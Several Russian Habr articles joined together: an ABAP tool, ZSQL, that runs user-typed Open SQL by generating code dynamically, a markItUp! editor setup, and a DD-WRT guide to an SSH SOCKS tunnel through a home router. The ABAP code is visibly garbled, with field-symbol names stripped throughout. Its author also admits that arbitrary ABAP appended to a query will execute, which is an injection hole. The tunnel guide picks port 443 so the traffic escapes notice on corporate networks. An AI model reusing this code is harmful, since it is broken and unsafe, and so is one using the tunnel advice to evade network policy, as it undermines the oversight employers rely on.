Из введенного SQL-запроса нам необходимо получить список выбираемых полей и таблиц для того, чтобы в дальнейшем на основании этого списка динамически сгенерировать структуру ALV-Grid для вывода результата.
**Фрагмент кода, анализирующий запрос**
```
types: ty_simple_tab type standard table of ty_simple_struc.
types: ty_t_code type standard table of rssource-line.
data lt_sql_query type ty_simple_tab.
lt_fields type ty_simple_tab,
lt_tables type ty_simple_tab,
l_use_cnt(1) type c.
" Анализируем запрос построчно"
loop at lt_sql_query assigning .
" Удаляем нечитаемые спец-символы
replace all occurrences of con\_tab in -line with space.
concatenate ` ` -line ` ` into -line.
" Разбиваем строку на отдельные слова"
refresh lt\_parsed\_sql\_line.
split -line at space into table lt\_parsed\_sql\_line.
delete lt\_parsed\_sql\_line where line = ''.
loop at lt\_parsed\_sql\_line assigning .
translate -line to upper case.
if -line = 'SELECT'.
continue.
endif.
" Если дошли до \* - считаем, что все выбираемые поля получены"
if -line = '\*'.
l\_field\_names\_obtained = 'X'.
continue.
endif.
" Если дошли до FROM или JOIN - считаем, что все выбираемые поля получены.
" Следующее слово будет названием таблицы"
if -line = 'FROM' or -line = 'JOIN'.
l\_field\_names\_obtained = 'X'.
l\_is\_tabname = 'X'.
continue.
endif.
" Получаем названия полей"
if l\_field\_names\_obtained is initial.
" Ищем конструкцию COUNT()"
find 'COUNT(' in -line ignoring case.
if sy-subrc = 0.
l\_use\_cnt = 'X'.
continue.
endif.
" Название поля указано с названием таблицы через ~"
search -line for '~'.
if sy-subrc = 0.
add 1 to sy-fdpos.
endif.
append -line+sy-fdpos to lt\_fields.
endif.
" Получаем названия таблиц"
if l\_is\_tabname = 'X'.
append -line to lt\_tables.
clear l\_is\_tabname.
endif.
endloop.
endloop.
```
##### Выполнение SQL-запроса
Чтобы выполнить наш запрос, воспользуемся оператором **generate subroutine pool**, который позволяет динамически генерировать временные ABAP-программы на основании переданного в качестве параметра исходного кода, которым мы подготовим из введенного SQL-запроса.
**Фрагмент кода, генерирующий ABAP-программу**
```
types: ty_t_code type standard table of rssource-line.
data: code type ty_t_code,
prog(8) type c,
msg(120) type c,
lt_parsed_sql_line type ty_simple_tab,
l_sub_order(1) type c.
field-symbols: type ty\_simple\_struc,
type ty\_simple\_struc.
append `program z\_sql.` to code.
append `form get\_data using fs\_data type standard table.` to code.
append `try.` to code.
loop at lt\_sql\_query assigning .
clear: lt\_parsed\_sql\_line.
split -line at space into table lt\_parsed\_sql\_line.
delete lt\_parsed\_sql\_line where line = ''.
loop at lt\_parsed\_sql\_line assigning .
concatenate ` ` -line ` ` into -line.
translate -line to upper case.
" добавляем into… только 1 раз, иначе будет добавляться во все подзапросы"
if -line = ' FROM ' and l\_sub\_order is initial.
append `into corresponding fields of table fs\_data` to code.
l\_sub\_order = 'X'.
endif.
append -line to code.
endloop.
endloop.
append `.` to code.
append `rollback work.` to code.
append `catch cx\_root.` to code.
append `rollback work.` to code.
append `message ``Что-то пошло не так, проверьте запрос`` type ``i``.` to code.
append `endtry.` to code.
append `endform.` to code.
generate subroutine pool code name prog
message msg.
```
##### Вывод результата на экран
Так как состав полей и их тип нам заранее неизвестны, то для получения результата и вывода его на экран нам необходимо динамически сгенерировать внутреннюю таблицу и структуру ALV-Grid на основании выбираемых в запросе полей. Для этого будем использовать метод **create\_dynamic\_table** класса **cl\_alv\_table\_create**.
**Фрагмент кода, генерирующий структуру ALV-Grid**
```
data: ref_table_descr type ref to cl_abap_structdescr,
lt_tab_struct type abap_compdescr_tab,
ls_fieldcatalog type slis_fieldcat_alv.
field-symbols: type abap\_compdescr,
type ty\_simple\_struc,
type ty\_simple\_struc.
loop at lt\_tables assigning .
refresh lt\_tab\_struct.
" Получаем все поля для выбираемой таблицы"
ref\_table\_descr ?= cl\_abap\_typedescr=>describe\_by\_name( -line ).
lt\_tab\_struct[] = ref\_table\_descr->components[].
loop at lt\_tab\_struct assigning .
" если поля нет среди выбираемых в SQL-запросе - не выводим его не экран"
if lines( lt\_fields ) > 0.
read table lt\_fields transporting no fields with key line = -name.
if sy-subrc <> 0.
continue.
endif.
endif.
" если поле с таким именем уже есть, то не добавляем повторно"
read table lt\_fieldcatalog transporting no fields with key fieldname = -name.
if sy-subrc = 0.
continue.
endif.
clear ls\_fieldcatalog.
ls\_fieldcatalog-fieldname = -name.
ls\_fieldcatalog-ref\_tabname = -line.
append ls\_fieldcatalog to lt\_fieldcatalog.
endloop.
endloop.
" В запросе есть конструкция COUNT() – добавляем колонку с именем CNT и типом INT"
if l\_use\_cnt = 'X'.
clear ls\_fieldcatalog.
ls\_fieldcatalog-fieldname = 'CNT'.
ls\_fieldcatalog-seltext\_l = 'Кол-во'.
ls\_fieldcatalog-seltext\_m = 'Кол-во'.
ls\_fieldcatalog-seltext\_s = 'Кол-во'.
ls\_fieldcatalog-datatype = 'INT4'.
if p\_tech\_names = 'X'.
ls\_fieldcatalog-seltext\_l = 'CNT'.
ls\_fieldcatalog-seltext\_m = 'CNT'.
ls\_fieldcatalog-seltext\_s = 'CNT'.
ls\_fieldcatalog-reptext\_ddic = 'CNT'.
endif.
append ls\_fieldcatalog to lt\_fieldcatalog.
endif.
```
**Фрагмент кода, создающий динамическую таблицу**
```
data: dyn_table type ref to data,
dyn_line type ref to data,
lt_lvc_fieldcatalog type lvc_t_fcat,
ls_lvc_fieldcatalog type lvc_s_fcat.
field-symbols: type slis\_fieldcat\_alv.
" Преобразуем данные в другой тип"
loop at lt\_fieldcatalog assigning .
clear ls\_lvc\_fieldcatalog.
move-corresponding to ls\_lvc\_fieldcatalog.
ls\_lvc\_fieldcatalog-ref\_table = -ref\_tabname.
append ls\_lvc\_fieldcatalog to lt\_lvc\_fieldcatalog.
endloop.
" Создаем динамически таблицу"
call method cl\_alv\_table\_create=>create\_dynamic\_table
exporting
it\_fieldcatalog = lt\_lvc\_fieldcatalog
importing
ep\_table = dyn\_table.
assign dyn\_table->\* to .
create data dyn\_line like line of .
assign dyn\_line->\* to .
```
Полный листинг исходного кода программы ZSQL:
**Раскрыть**
```
type-pools: slis.
types: begin of ty_simple_struc,
line(255) type c,
end of ty_simple_struc.
types: ty_simple_tab type standard table of ty_simple_struc.
types: ty_t_code type standard table of rssource-line.
data: g_editor type ref to cl_gui_textedit,
g_editor_container type ref to cl_gui_custom_container,
g_ok_code like sy-ucomm,
p_tech_names(1) type c.
field-symbols: type standard table,
type any.
call screen 100.
module pbo output.
set pf-status `MAIN100`.
" Выводим на форму текстовый редактор для SQL-запроса"
if g\_editor is initial.
create object g\_editor\_container
exporting
container\_name = `MYEDIT`
exceptions
cntl\_error = 1
cntl\_system\_error = 2
create\_error = 3
lifetime\_error = 4
lifetime\_dynpro\_dynpro\_link = 5.
create object g\_editor
exporting
parent = g\_editor\_container
wordwrap\_mode = cl\_gui\_textedit=>wordwrap\_at\_fixed\_position
wordwrap\_to\_linebreak\_mode = cl\_gui\_textedit=>true
exceptions
others = 1.
if sy-subrc <> 0.
leave program.
endif.
endif.
endmodule.
module pai input.
case sy-ucomm.
when `EXIT`.
leave program.
when `EXEC`. " Нажатие кнопки «Выполнить»
perform exec.
endcase.
endmodule.
form exec.
" Получаем введенный запрос с формы"
data lt\_sql\_query type ty\_simple\_tab.
clear lt\_sql\_query.
call method g\_editor->get\_text\_as\_r3table
importing
table = lt\_sql\_query
exceptions
others = 1.
delete lt\_sql\_query where line = ''.
" Парсим запрос и получаем названия выбираемых полей и таблиц"
data: lt\_fields type ty\_simple\_tab,
lt\_tables type ty\_simple\_tab,
l\_use\_cnt(1) type c.
clear: lt\_fields, lt\_tables, l\_use\_cnt.
perform parse\_sql\_query
using
lt\_sql\_query
changing
lt\_fields
lt\_tables
l\_use\_cnt.
" Генерируем ABAP-программу из полученного SQL-запроса"
data: code type ty\_t\_code,
prog(8) type c,
msg(120) type c.
clear: code, prog, msg.
perform create\_get\_function
using
lt\_sql\_query
changing
code.
generate subroutine pool code name prog
message msg.
if sy-subrc <> 0.
message msg type 'I'.
return.
endif.
" Формируем структуру ALV-Grid на основе выбираемых полей и таблиц"
data: lt\_fieldcatalog type slis\_t\_fieldcat\_alv.
refresh: lt\_fieldcatalog.
perform get\_fieldcat
using
lt\_tables
lt\_fields
p\_tech\_names
l\_use\_cnt
changing
lt\_fieldcatalog.
" Динамически, на основе выбираемых полей и таблиц, создаем таблицу ,
" в которую будем помещать результат выполнения запроса"
perform create\_itab\_dynamically
using
lt\_fieldcatalog.
" Выполняем SQL-запрос, вызывая функцию из сгенерированной программы"
perform get\_data in program (prog)
using
.
" Выводим результат на экран"
perform show\_alv
using
lt\_fieldcatalog.
endform.
" Функция разбора запроса"
form parse\_sql\_query
using
lt\_sql\_query type ty\_simple\_tab
changing
lt\_fields type ty\_simple\_tab
lt\_tables type ty\_simple\_tab
l\_use\_cnt.
data: l\_field\_names\_obtained(1) type c,
l\_is\_tabname(1) type c,
lt\_parsed\_sql\_line type ty\_simple\_tab.
clear: l\_field\_names\_obtained, l\_is\_tabname.
field-symbols: type ty\_simple\_struc,
type ty\_simple\_struc.
constants: con\_tab type c value cl\_abap\_char\_utilities=>horizontal\_tab.
" Анализируем запрос построчно"
loop at lt\_sql\_query assigning .
" Удаляем нечитаемые спец-символы
replace all occurrences of con\_tab in -line with space.
concatenate ` ` -line ` ` into -line.
" Разбиваем строку на отдельные слова"
refresh lt\_parsed\_sql\_line.
split -line at space into table lt\_parsed\_sql\_line.
delete lt\_parsed\_sql\_line where line = ''.
loop at lt\_parsed\_sql\_line assigning .
translate -line to upper case.
if -line = 'SELECT'.
continue.
endif.
" Если дошли до \* - считаем, что все выбираемые поля получены"
if -line = '\*'.
l\_field\_names\_obtained = 'X'.
continue.
endif.
" Если дошли до FROM или JOIN - считаем, что все выбираемые поля получены.
" Следующее слово будет названием таблицы"
if -line = 'FROM' or -line = 'JOIN'.
l\_field\_names\_obtained = 'X'.
l\_is\_tabname = 'X'.
continue.
endif.
" Получаем названия полей"
if l\_field\_names\_obtained is initial.
" Ищем конструкцию COUNT()"
find 'COUNT(' in -line ignoring case.
if sy-subrc = 0.
l\_use\_cnt = 'X'.
continue.
endif.
" Название поля указано с названием таблицы через ~"
search -line for '~'.
if sy-subrc = 0.
add 1 to sy-fdpos.
endif.
append -line+sy-fdpos to lt\_fields.
endif.
" Получаем названия таблиц"
if l\_is\_tabname = 'X'.
append -line to lt\_tables.
clear l\_is\_tabname.
endif.
endloop.
endloop.
endform.
" Функция создания исходного кода ABAP-программы для последующей генерации"
form create\_get\_function
using
lt\_sql\_query type ty\_simple\_tab
changing
code type ty\_t\_code.
data: lt\_parsed\_sql\_line type ty\_simple\_tab,
l\_sub\_order(1) type c.
clear l\_sub\_order.
field-symbols: type ty\_simple\_struc,
type ty\_simple\_struc.
append `program z\_sql.` to code.
append `form get\_data using fs\_data type standard table.` to code.
append `try.` to code.
loop at lt\_sql\_query assigning .
clear: lt\_parsed\_sql\_line.
split -line at space into table lt\_parsed\_sql\_line.
delete lt\_parsed\_sql\_line where line = ''.
loop at lt\_parsed\_sql\_line assigning .
concatenate ` ` -line ` ` into -line.
translate -line to upper case.
" добавляем into… только 1 раз, иначе будет добавляться во все подзапросы"
if -line = ' FROM ' and l\_sub\_order is initial.
append `into corresponding fields of table fs\_data` to code.
l\_sub\_order = 'X'.
endif.
append -line to code.
endloop.
endloop.
append `.` to code.
append `rollback work.` to code.
append `catch cx\_root.` to code.
append `rollback work.` to code.
append `message ``Что-то пошло не так, проверьте запрос`` type ``i``.` to code.
append `endtry.` to code.
append `endform.` to code.
endform.
" Функция генерации структуры ALV-грида"
form get\_fieldcat
using
lt\_tables type ty\_simple\_tab
lt\_fields type ty\_simple\_tab
p\_tech\_names
l\_use\_cnt
changing
lt\_fieldcatalog type slis\_t\_fieldcat\_alv.
data: ref\_table\_descr type ref to cl\_abap\_structdescr,
lt\_tab\_struct type abap\_compdescr\_tab,
ls\_fieldcatalog type slis\_fieldcat\_alv.
field-symbols: type abap\_compdescr,
type ty\_simple\_struc,
type ty\_simple\_struc.
loop at lt\_tables assigning .
refresh lt\_tab\_struct.
" Получаем все поля для выбираемой таблицы"
ref\_table\_descr ?= cl\_abap\_typedescr=>describe\_by\_name( -line ).
lt\_tab\_struct[] = ref\_table\_descr->components[].
loop at lt\_tab\_struct assigning .
" если поля нет среди выбираемых в SQL-запросе - не выводим его не экран"
if lines( lt\_fields ) > 0.
read table lt\_fields transporting no fields with key line = -name.
if sy-subrc <> 0.
continue.
endif.
endif.
" если поле с таким именем уже есть, то не добавляем повторно"
read table lt\_fieldcatalog transporting no fields with key fieldname = -name.
if sy-subrc = 0.
continue.
endif.
clear ls\_fieldcatalog.
ls\_fieldcatalog-fieldname = -name.
ls\_fieldcatalog-ref\_tabname = -line.
append ls\_fieldcatalog to lt\_fieldcatalog.
endloop.
endloop.
" В запросе есть конструкция COUNT() – добавляем колонку с именем CNT и типом INT"
if l\_use\_cnt = 'X'.
clear ls\_fieldcatalog.
ls\_fieldcatalog-fieldname = 'CNT'.
ls\_fieldcatalog-seltext\_l = 'Кол-во'.
ls\_fieldcatalog-seltext\_m = 'Кол-во'.
ls\_fieldcatalog-seltext\_s = 'Кол-во'.
ls\_fieldcatalog-datatype = 'INT4'.
if p\_tech\_names = 'X'.
ls\_fieldcatalog-seltext\_l = 'CNT'.
ls\_fieldcatalog-seltext\_m = 'CNT'.
ls\_fieldcatalog-seltext\_s = 'CNT'.
ls\_fieldcatalog-reptext\_ddic = 'CNT'.
endif.
append ls\_fieldcatalog to lt\_fieldcatalog.
endif.
endform.
" Функция создания динамической внутренней таблицы"
form create\_itab\_dynamically
using
lt\_fieldcatalog type slis\_t\_fieldcat\_alv.
data: dyn\_table type ref to data,
dyn\_line type ref to data,
lt\_lvc\_fieldcatalog type lvc\_t\_fcat,
ls\_lvc\_fieldcatalog type lvc\_s\_fcat.
field-symbols: type slis\_fieldcat\_alv.
" Преобразуем данные в другой тип"
loop at lt\_fieldcatalog assigning .
clear ls\_lvc\_fieldcatalog.
move-corresponding to ls\_lvc\_fieldcatalog.
ls\_lvc\_fieldcatalog-ref\_table = -ref\_tabname.
append ls\_lvc\_fieldcatalog to lt\_lvc\_fieldcatalog.
endloop.
" Создаем динамически таблицу"
call method cl\_alv\_table\_create=>create\_dynamic\_table
exporting
it\_fieldcatalog = lt\_lvc\_fieldcatalog
importing
ep\_table = dyn\_table.
assign dyn\_table->\* to .
create data dyn\_line like line of .
assign dyn\_line->\* to .
endform.
" Функция отображения ALV-Grid на экране"
form show\_alv
using
lt\_fieldcatalog type slis\_t\_fieldcat\_alv.
data: ls\_event type slis\_alv\_event,
lt\_event type slis\_t\_event,
ls\_layout type slis\_layout\_alv,
l\_repid like sy-repid.
ls\_layout-colwidth\_optimize = 'X'.
l\_repid = sy-repid.
call function 'REUSE\_ALV\_GRID\_DISPLAY'
exporting
i\_callback\_program = l\_repid
is\_layout = ls\_layout
it\_fieldcat = lt\_fieldcatalog
i\_save = 'X'
tables
t\_outtab =
exceptions
program\_error = 1
others = 2.
if sy-subrc <> 0.
leave program.
endif.
endform.
```
Разработанная программа позволяет выполнять Open SQL-запросы SELECT любой сложности. Только нужно соблюдать одно правило при написании запроса: если используется конструкция COUNT(), то после нее нужно дописывать «AS cnt», чтобы корректно сгенерировался ALV-Grid.
Программу, по идее, можно немного доработать и использовать не только для тестирования запросов, но и для формирования пользовательских отчетов.
В статье я не затрагивал вопросы безопасности. Входящий запрос никак не проверяется на корректность, после него можно написать любой ABAP-код и он будет выполняться. Для исключения такой возможности достаточно дописать несложные проверки.
**Полный исходный код**: <https://github.com/RusZ/SAP-SQL-Executor> | https://habr.com/ru/post/251665/ | null | ru | null |
# MarkitUp! — Легкий редактор на jQuery
#### Введение
Всех приветствую!
Совсем недавно мне пришлось немного расширить функционал редактора одного проекта. Но как оказалось в моем случае я наткнулся на некие трудности. В этой статье я поделюсь с читателями как я вышел из сложившийся ситуации.
#### Как все было
В проекте, редактор которого следовало немного обновить, использовался как и в большинстве случаев всеми известный старожил TinyMCE. Лично я ничего против него не имею. Это отличный редактор который отлично справлялся и справляется сейчас со своими обязанностями на множестве сайтов. Я и сам использую его как основной в своих проектах. Но вернемся к теме топика, ибо речь не о нем пойдет далее.
**Основная задача:** мне нужно было не много доработать существующий редактор, а именно, добавить обрамление текста тегами, которых нет в текущем варианте редактора.
Конечно же, сначала мне пришла в голову идея просто доработать текущий редактор, то бишь TinyMCE. Не много почитав документацию, я понял что в общем-то и ничего сложного в этом нет. Но и были сущевственные минусы в способах, которые описаны в сети.
И вот некоторые из них:
Как оказалось, при процессе ~~допиливания~~ доработки редактора, нужно использовать редактор без сжатия. То есть править нужно сами src файлы редактора, а потом уже нужно заново их сжимать их компрессорами, например [YUI Compressor](http://developer.yahoo.com/yui/compressor/), [JSMin](http://www.crockford.com/javascript/jsmin.html) или же [Google Closure Compiler](http://code.google.com/closure/compiler/).
У меня сразу появились мысли по этому поводу. В случае выбора варианта описанного выше, как минимум появилась бы проблема при возможных будущих обновлениях редактора.
#### Решение
По этому я решил пойти не много другим путем. Поскольку на сайте использовался чудесный JavaScript фреймворк jQuery, я подумал, — «А почему бы не найти какой либо другой редактор?».
Не много поискав, я нашел редактор, который называется **markItUp!**.
Первое на что я обращал внимание при выборе нового редактора:
1. Легкость и гибкость его настройки.
2. Минимум проблем с кроссбраузерностью.
Познакомившись по ближе с **markItUp!**, я обнаружил что этот редактор довольно таки гибкий, не смотря на его легкость. Ко всему этому он еще и поддерживает разные режимы работы с текстом.
Вот основные вкусности, которые Вас могут заинтересовать:
1. Быстрая и легкая интеграция;
2. Поддержка горячих клавиш;
3. Предварительный просмотр с помощью Ajax;
4. Легко настраиваемые скины.
Так же стоит обратить внимание на то, что редактор позволяет работать с разными наборами тегов:
Html, BBcode, Wiki syntax.
#### Установка
Установка редактора очень легкая.
Сначала подключаем сам редактор и jQuery.
```
```
Далее нам следует подключить файл с настройками редактора, что несомненно очень удобно.
```
```
В ином случае нужно настроить самому, что я в принципе и сделал.
```
mySettings = { ... } //тут Ваши настройки
```
А вот, например, как выглядит рабочий конфиг:
```
function mySettings() {
return {
previewParserPath: '',
onShiftEnter: {keepDefault:false, replaceWith:'
\n'},
onTab: {keepDefault:false, replaceWith:' '},
markupSet: [
{name:'H4', className:'editor-h4', openWith:'#### ', closeWith:'
' },
{name:'H5', className:'editor-h5', openWith:'##### ', closeWith:'
' },
{name:'H6', className:'editor-h6', openWith:'###### ', closeWith:'
' },
{separator:'---------------' },
{name: 'Жирный', className:'editor-bold', key:'B', openWith:'(!(**|!|**)!)', closeWith:'(!(****|!|)!)' },
{name: 'Курсив', className:'editor-italic', key:'I', openWith:'(!(*|!|*)!)', closeWith:'(!(**|!|)!)' },
{name: 'Зачеркнуть', className:'editor-stroke', key:'S', openWith:'~~', closeWith:'~~' },
{name: 'Подчеркнуть', className:'editor-underline', key:'U', openWith:'', closeWith:'' },
{name: 'Цитировать', className:'editor-quote', key:'Q', replaceWith: function(m) { if (m.selectionOuter) return '
> '+m.selectionOuter+'
'; else if (m.selection) return '
> '+m.selection+'
'; else return '' } },
{name: 'Код', className:'editor-code', openWith:'`', closeWith:'`' },
{separator:'---------------' },
{name: 'Список', className:'editor-ul', openWith:' - ', closeWith:'
', multiline: true, openBlockWith:'\n', closeBlockWith:'\n
' },
{name: 'Список', className:'editor-ol', openWith:' - ', closeWith:'
', multiline: true, openBlockWith:'\n', closeBlockWith:'\n
' },
{separator:'---------------' },
{name: 'Добавить изображение', className:'editor-image', replaceWith:'' },
{name: 'Добавить видео', className:'editor-video', replaceWith:'[!['+'Введите адрес видео:'+':!:http://]!]' },
{name: 'Добавить ссылку', className:'editor-link', key:'L', openWith:'[', closeWith:']([!['+'Введите url адрес:'+':!:http://]!] "[![Title]!]")', placeHolder:'Введите адрес ссылки...' },
{separator:'---------------' },
{name: 'Очистка от тегов', className:'editor-clean', replaceWith: function(markitup) { return markitup.selection.replace(/<(.*?)>/g, "") } }
]
}
}
```
Так же нужно подключить CSS файлы стиля.
```
```
Ну и наконец-то подключение самого **markItUp** к textarea.
```
jQuery(document).ready(function() {
jQuery("#markItUp").markItUp(mySettings());
});
...
```
На последок несколько ссылок:
* Со всей документацией можно ознакомится [тут](http://markitup.jaysalvat.com/documentation/)
* Примеры работы редактора [здесь](http://markitup.jaysalvat.com/examples/).
На сегодня все. Спасибо за внимание, и желаю всем успехов! | https://habr.com/ru/post/128352/ | null | ru | null |
# SSH-туннель домой без необходимости оставлять включённым домашний ПК
> **Disclaimer**
>
> Этот пост появился здесь по нескольким причинам:
>
> 1) Меня попросил сам [Boomburum](https://habrahabr.ru/users/boomburum/)
>
> 2) Есть предположение, что на хабре всё-таки есть люди, имеющие прямое отношение к IT, но при этом имеющие весьма отдалённое представление о пользе SSH и её извлечении из обычного домашнего роутера, и которым, надеюсь, будет весьма интересно и полезно об этом узнать.
>
>
>
> Хабралюдям, познавшим Дао **IOS, tun, VPN, \*wrt, WOL**… etc, предлагается на выбор:
>
> А) Закрыть топик, заняться делом и не выводить себя из [нирваны](http://ru.wikipedia.org/wiki/Нирвана) чтением этой любительской фигни.
>
> Б) Потратить время на конструктивную критику и полезные дополнения в комментариях.
>
> Специально для [GrammarNazi](http://habrahabr.ru/tag/grammar nazi/):
>
> Пишите пожалуйста об ошибках в личку — обещаю исправиться.
**Бла-бла-бла, а топик-то о чём?**
Итак, [я обещал](http://habrahabr.ru/blogs/google_chrome/110587/) рассказать *«как поднять ssh-туннель домой без необходимости оставлять включённым домашний ПК»* и, как [правильно догадался](http://habrahabr.ru/blogs/google_chrome/110587/#comment_3520697) [peter23](https://habrahabr.ru/users/peter23/) речь пойдёт про ssh-сервер на роутере.
Сначала о том, кому и зачем это может понадобиться и каковы начальные условия.
Предположим Вы находитесь в сети, которая подключена к интернет с ограничениями, доставляющими вам неудобства. Или напротив — Вы подключились к публичной точке доступа и у Вас ~~обострение паранойи~~ есть основания для беспокойства. В общем, Вы находитесь в ситуации, когда очень хотелось бы больше свободы/контроля в сети, но увы. И, кажется, можно было бы залогиниться на домашний компьютер через какой-нибудь сервис вроде [logmein](http://logmein.com/) или [teamviewer](http://www.teamviewer.com), но этот самый домашний компьютер представляет из себя ноутбук, забытый на диване без подзарядки, а личного сервера у вас нет.
Но зато у Вас дома всегда включён маршрутизатор и, пока вас нет, он просто тратит электроэнергию.
Есть несколько вариантов выхода из ситуации. Ниже описан лишь один из них.
**1) Определяемся с роутером**
Хорошо ли вы знаете свой маршрутизатор?
Присмотритесь, может быть в заявленных функциях [уже есть](http://www.buffalo-technology.com/technology/software/dd-wrt/) поддержка SSH или [даже TOR](http://habrahabr.ru/blogs/infosecurity/110536/). Если нет, то проверьте, можно ли её туда добавить. Для великого множества домашних и SOHO маршрутизаторов существует масса альтернативных прошивок, таких как, например, **DD-WRT**. Я не отрицаю достоинств прочих альтернативных прошивок, но для примера возьму эту.
У вас «народный» D-Link DIR-xxx, ASUS WL-xxxGx/RT-Nxx, Netgear, TP-Link, TRENDnet, «гиковский» Linksys WRT-xxx, Ubiquiti или что-то вроде того? Вам повезло!
Идём в [базу совместимых роутеров на официальном сайте прошивки](http://www.dd-wrt.com/site/support/router-database) и вводим название и модель своего маршрутизатора в строку поиска. Если всё хорошо, то на всякий случай обратимся ещё к [коллективному разуму](http://www.dd-wrt.com/wiki/index.php/Supported_Devices) для уточнения подробностей о поддержке Вашей модели. Уразумев тонкости вопроса прошиваем роутер [по инструкции](http://www.dd-wrt.com/wiki/index.php/Installation) на сайте. Не забудьте про [30/30/30](http://www.dd-wrt.com/wiki/index.php/Hard_reset_or_30/30/30).
Если всё прошло успешно, то настраиваем постоянное подключение к интернет и переходим к следующему пункту.
**2) Путь домой**
Следующим шагом необходимо понять как прийти из интернета домой.
По какому адресу обратиться к роутеру?
Необходимое условие — Ваш провайдер предоставляет Вам **внешний** IP адрес.
Хорошо, если этот адрес *статический*, тогда просто запомним его на будущее. Если же адрес *динамический*, то проще всего использовать сервис вроде DynDNS [из числа поддерживаемых прошивкой маршрутизатора](http://www.dd-wrt.com/wiki/index.php/Dynamic_DNS).
Это проще простого: регистрируетесь на сайте, в меню роутера Setup->DDNS выбираете в выпадающем списке этот сайт, вводите «логин-пароль-хост-остальное по вкусу», нажимаете кнопку «Apply Settings» и забываете об этом. Теперь Вам надо помнить только хост (кстати, даже если IP у вас статический, можете так сделать [простой для запоминания адресок](http://i.net/), а то вдруг провайдер поменяется или случится переезд).
В итоге мы имеем на руках «адрес своего дома» в интернет в виде IP или доменного имени. Ура!
**3) Знакомимся с возможностями SSHd на роутере.**
<http://www.dd-wrt.com/wiki/index.php/SSH>
Весьма гибкий инструмент, не правда ли?
Попробуем же с его помощью пустить весь Ваш трафик от браузера и других программ через домашний роутер. Т.е. поднять **ssh-туннель** от Вас до домашнего роутера, таким образом, чтобы вход в него на Вашей стороне выглядел как локальный SOCKS-прокси а на выходе роутер весь трафик разруливал в соответствии с назначением, давая нам возможность *скрытно безнаказанно и безопасно выйти в свободный интернет* (да-да, это очень «толстая» формулировка, несомненно) и заодно пользоваться домашними сетевыми ресурсами, если таковые имеют место быть. Короче — почувствовать себя как дома.
Далее я предполагаю, что Вы будете использовать Windows, т.к. в жизни не встречал пользователя другой ОС, который бы не знал что делать с SSH.
Ну, хорошо, [надкусановоды](http://zeka007.blogspot.com/2010/08/apple.html), ещё, но им [уже объясняли](http://macosxhints.ru/ssh-tunnel-v-mac-os-x), и [вообще](http://www.apple.com/downloads/macosx/networking_security/sshtunnel.html).
**4) Ключи от квартиры, где деньги лежат.**
Для безопасного подключения к нашему роутеру пара логин-пароль не очень хороша. DD-WRT по неведомым мне причинам снаружи по SSH признаёт только пользователя [root](http://ru.wikipedia.org/wiki/Root_(суперпользователь)), поэтому не пользоваться аутентификацией по ключам — верх легкомыслия. Но так даже лучше: не надо будет каждый раз вводить [сложный пароль суперпользователя](http://habrahabr.ru/blogs/infosecurity/113401/) и это лишний повод научиться использовать более безопасный способ.
Для этого нам понадобится пара ключей публичный и приватный. Публичный мы отдадим роутеру, а приватный будем хранить у себя как зеницу ока.
Чтобы их получить запускаем [puttygen](http://www.chiark.greenend.org.uk/~sgtatham/putty/download.html), давим кнопку «Generate» и шевелим мышом пока не увидим примерно такую картину:
Сохраняем приватный ключ в файл с расширением .ppk, а публичный ключ достаточно просто скопировать из окошка puttygen вот сюда в настройках DD-WRT:
Хорошо бы не забыть, что удалённый SSH-доступ в DD-WRT необходимо включить в разделе **Administration**->**Management**.
Я люблю задавать для SSH порт 443, т.к. этот порт *почти всегда* открыт наружу в корпоративных сетях и *скромный* шифрованый трафик на него *обычно* не вызывает подозрений. Внутри сети я тоже поставил 443, чтобы не путаться, а заодно отключил вход по паролю и телнет.
Любителям прекрасного советую настроить [Port-Knocking](http://dd-wrt.com/wiki/index.php/Knockd) и запаролить приватный ключ, если не лень каждый раз стучать по портам и клаве.
**5) Клиент всегда прав**
Всё, роутер (читай «сервер с SSHd») настроили, возвращаемся к нашим баранам, т.е. виндам.
Берём программу SSH-клиент, например замечательный portable [KiTYY](http://www.9bis.net/kitty/?page=Download) (спасибо [NZeraF](https://habrahabr.ru/users/nzeraf/) за наводку). И настраиваем его на подключение к нашему роутеру примерно как на скриншотах ниже:
Будем ходить под рутом...
… поэтому осторожно.
Путь к приватному ключу можно указать относительно корня диска (удобно для portable-варианта).
Немножко магии port forwarding (порт можно задать от балды, например 5150).
Вспоминаем «путь домой», придумываем название подключения (aka сессии) и сохраняем.
Нужно, конечно, учитывать особенности доступа в интернет из сети, в которой Вы находитесь (прокси там всякие и прочее). В общем клиент настроен и туннель можно запускать и использовать.
Для удобства можно создать примерно такой батничек или ярлык для быстрого запуска:
`kitty.exe -load "sessionname" -send-to-tray`
**6) И чё с этим делать?**
Вариантов [масса](http://avz.org.ua/wp/2010/06/29/putty-how-to-make-your-windows-useful/). Можно например использовать такой туннель как локальный прокси для браузера. Как-то [так](http://habrahabr.ru/blogs/google_chrome/110587/) или этак:
Или для доступа по RDP или SSH на другие сервера, или просто IM клиент или Skype в интернет выпустить.
И даже если ваше приложение не понимает SOCKS-прокси, достаточно просто запустить
`polipo socksParentProxy=localhost:5150`
и будет Вам HTTP прокси на порту 8123. В общем, всё в Ваших руках.
**UPD**:
Мой ответ из личной переписки по следам топика для тех несчастных, у кого только 80 порт и никаких [CONNECT](http://en.wikipedia.org/wiki/HTTP_tunnel#HTTP_CONNECT_Tunneling).
[daniel.haxx.se/docs/sshproxy.html](http://daniel.haxx.se/docs/sshproxy.html)
[www.nocrew.org/software/httptunnel.html](http://www.nocrew.org/software/httptunnel.html)
Ну и сразу для новичков-пингвиноводов-убунтолюбов — [corkscrew](http://en.wikipedia.org/wiki/Corkscrew_(program)) или [proxytunnel](http://proxytunnel.sourceforge.net/)
А для их более красноглазых друзей [бонус](http://habrahabr.ru/blogs/linux/116360/) от [ValdikSS](https://habrahabr.ru/users/valdikss/)
Кстати, на хабре уже писали что, роутер Вам и [торренты качать может](http://habrahabr.ru/blogs/hardware/48972/) и [много чего ещё](http://habrahabr.ru/blogs/fido/114271/). Да и домашний комьютер можно включить удалённо [так](http://www.dd-wrt.com/wiki/index.php/Wake-on-LAN_(tutorial)) или [иначе](http://habrahabr.ru/blogs/hardware/77191/) (или, пробросив порт, [вот так](http://www.depicus.com/wake-on-lan/woli.aspx)).
PS: [Один из источников вдохновения](http://www.playingforoctober.com/blogs/main/wp-content/uploads/2009/SSHwithDDWRT.htm)
PPS: [Вопрос](http://habrahabr.ru/blogs/google_chrome/110587/#comment_3522522) для знатоков (про браузеры и DNS). | https://habr.com/ru/post/116214/ | null | ru | null |
# JAVA+Swing в 2013. Стоит ли?
